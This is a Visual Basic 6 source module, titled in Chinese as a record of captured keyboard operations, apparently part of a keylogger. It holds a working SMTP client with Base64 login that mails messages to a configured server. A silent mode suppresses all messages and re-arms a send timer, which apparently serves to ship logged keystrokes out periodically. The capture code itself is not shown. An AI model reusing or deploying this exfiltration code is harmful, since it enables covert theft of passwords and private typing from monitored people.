module5.bas

捕获键盘操作的记录

Attribute VB_Name = "Module4"
Option Explicit
Public test As Boolean
Public Response As String, Reply As Integer, DateNow As String
Public Start As Single, Tmr As Single
Public errorstmp As Boolean
Public sucss As Boolean

Private Base64TalbeStr(0 To 63) As String * 1
Const Chars64Table As String = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"

Public Function StringToBase64(ByRef Text As String) As String  '将字符串转换成Base64码的函数
    Dim CharsInAsc() As Integer, StrInLen As Long '
    Dim i As Long, j As Long
    Dim Base64Len As Long, strout As String
    
    For i = 0 To 63: Base64TalbeStr(i) = Mid$(Chars64Table, i + 1, 1): Next '建立Base64码表数组
    StrInLen = Len(Text)
    If StrInLen = 0 Then Exit Function '输入字符串校验,长度不能为0
    Base64Len = ((StrInLen + 2) \ 3) * 4 '输入字符串的转换为Base64码后的长度
    
    ReDim CharsInAsc(1 To StrInLen)
    For i = 1 To StrInLen: CharsInAsc(i) = Asc(Mid$(Text, i, 1)): Next
    
    ReDim Chars64(0 To Base64Len - 1)
    For i = 1 To StrInLen - 2 Step 3 '一次转换三个字符
        strout = strout & Base64TalbeStr(CharsInAsc(i) \ &H4) '除4，取其高6位
        strout = strout & Base64TalbeStr((CharsInAsc(i) And &H3) * &H10 + _
            CharsInAsc(i + 1) \ &H10) '取第一字节的低二位并　*16，取第二字节的高4位，相加
        strout = strout & Base64TalbeStr((CharsInAsc(i + 1) And &HF) * &H4 + CharsInAsc(i + 2) \ &H40)
             '取第二字节的低4位并　*16，取第三字节的高2位，相加
        strout = strout & Base64TalbeStr(CharsInAsc(i + 2) And &H3F) '取第三字节的低6位
        j = j + 4
    Next i
    Select Case StrInLen - i '当输入的字符不是3的倍数时，继续转换未转换完的输入字符Base64码
        Case 0 '输入为3*n+1 个字符
            strout = strout & Base64TalbeStr(CharsInAsc(i) \ &H4)
            strout = strout & Base64TalbeStr((CharsInAsc(i) And &H3) * &H10)
            strout = strout & "=="
        Case 1 '输入为3*n+2 个字符
            strout = strout & Base64TalbeStr(CharsInAsc(i) \ &H4)
            strout = strout & Base64TalbeStr((CharsInAsc(i) And &H3) * &H10 + CharsInAsc(i + 1) \ &H10)
            strout = strout & Base64TalbeStr((CharsInAsc(i + 1) And &HF) * &H4)
            strout = strout & "="
    End Select
    StringToBase64 = strout
End Function

Public Sub SendEmail(MailServerName As String, FromName As String, _
    FromEmailAddress As String, ToName As String, ToEmailAddress As String, _
    EmailSubject As String, EmailBodyOfMessage As String, EmialPassword As String, _
    EmialUsername As String, NeedCheck As Integer)
    Dim first As String, Second As String, Third As String
    Dim Fourth As String, Fifth As String, Sixth As String
    Dim Seventh As String, Eighth As String, Ninth As String

    Form2.Winsock1.LocalPort = 0  '用端口 0 来动态地建立连接
    If Form2.Winsock1.State = sckClosed Then '检查winsock状态为关闭
        first = "mail from:" + Chr(32) + FromEmailAddress + vbCrLf ' 发件人地址
        Second = "rcpt to:" + Chr(32) + ToEmailAddress + vbCrLf ' 收件人地址
        Third = "Date:" + Chr(32) + Format(Date, "Ddd") & ", " & _
        Format(Date, "dd Mmm YYYY") & " " & Format(Time, "hh:mm:ss") & _
        "" & " -0600" + vbCrLf ' 时间
        
        Fourth = "From:" + Chr(32) + FromName + vbCrLf ' 发件人
        Fifth = "To:" + Chr(32) + ToName + vbCrLf ' 收件人
        Sixth = "Subject:" + Chr(32) + EmailSubject + vbCrLf ' 邮件主题
        Seventh = EmailBodyOfMessage + vbCrLf ' 邮件正文
        Ninth = "X-Mailer: lj v 2.x" + vbCrLf
        Eighth = Fourth + Third + Ninth + Fifth + Sixth
        
        Form2.Winsock1.Protocol = sckTCPProtocol      ' 设置protocol 为TCP
        Form2.Winsock1.RemoteHost = MailServerName    ' SMTP地址
        Form2.Winsock1.RemotePort = 25                ' SMTP端口
        Form2.Winsock1.Connect                        ' 开始连接
        WaitFor ("220")
        ifsendmailerror
        showinfo "正在连接服务器……"
        Form2.Winsock1.SendData ("HELO worldcomputers.com" + vbCrLf)
        WaitFor ("250")
        ifsendmailerror
        showinfo "已连接服务器!!"
       
If NeedCheck = 1 Then '进行校验
        Form2.Winsock1.SendData ("AUTH LOGIN" + vbCrLf)
        showinfo "正在进行校验SMTP用户……"
        WaitFor ("334")
        ifsendmailerror
        Form2.Winsock1.SendData (StringToBase64(EmialUsername) + vbCrLf) '输入用户名,用户名要转换成Base64码
        showinfo "正在发送用户名……"
        WaitFor ("334")
        Form2.Winsock1.SendData (StringToBase64(EmialPassword) + vbCrLf) '输入口令用户名要转换成Base64码
        ifsendmailerror
        showinfo "正在发送密码……"
        WaitFor ("235")
        ifsendmailerror
End If
 
        Form2.Winsock1.SendData (first)
        showinfo "正在发送邮件……"
        WaitFor ("250")
        ifsendmailerror
        Form2.Winsock1.SendData (Second)
        WaitFor ("250")
        ifsendmailerror
        Form2.Winsock1.SendData ("data" + vbCrLf)
        WaitFor ("354")
        Form2.Winsock1.SendData (Eighth + vbCrLf)
        Form2.Winsock1.SendData (Seventh + vbCrLf)
        Form2.Winsock1.SendData ("." + vbCrLf)
        WaitFor ("250")
        ifsendmailerror
        Form2.Winsock1.SendData ("quit" + vbCrLf)
        
        showinfo "正在断开连接……"
        
        WaitFor ("221")
        ifsendmailerror
        Form2.Winsock1.Close
        If test = True Then
            Form2.StatusTxt.Text = "完成！！"
                MsgBox "服务器连接正常！！", vbInformation, "完成"
        End If
        sucss = True
    Else
            If test = True Then
                    MsgBox (Str(Form2.Winsock1.State))
            End If
    End If
    If test = False Then Form1.Timer_send.Enabled = True
End Sub
Sub WaitFor(ResponseCode As String) '检查是否收SMTP服务器返回代码
    Start = Timer
    While Len(Response) = 0
        Tmr = Timer - Start
        DoEvents
        If test = False Then Form1.Timer_send.Enabled = True
        If Tmr > 25 Then
            If test = True Then
                MsgBox "连接服务器超时!!", vbCritical, "错误"
                errorstmp = True '用于记录是否SMTP服务器错误
            End If
            Exit Sub
        End If
    Wend

    While Left(Response, 3) <> ResponseCode
        Tmr = Timer - Start
        DoEvents
        If Tmr > 25 Then
            If test = True Then
                MsgBox "服务器错误, 服务器返回信息: " + _
                ResponseCode, vbCritical, "错误"
            End If
            Exit Sub
        End If
    Wend
    Response = "" ' Response清空
End Sub
Private Sub showinfo(s As String)
    If test = True Then '如果是在测试邮箱
        Form2.StatusTxt.Text = s
        Form2.StatusTxt.Refresh
    End If
End Sub

Private Sub ifsendmailerror()
    If errorstmp = True Then
        Unload Form2
        errorstmp = False
        If test = False Then Form1.Timer_send.Enabled = True
        Exit Sub
    End If
End Sub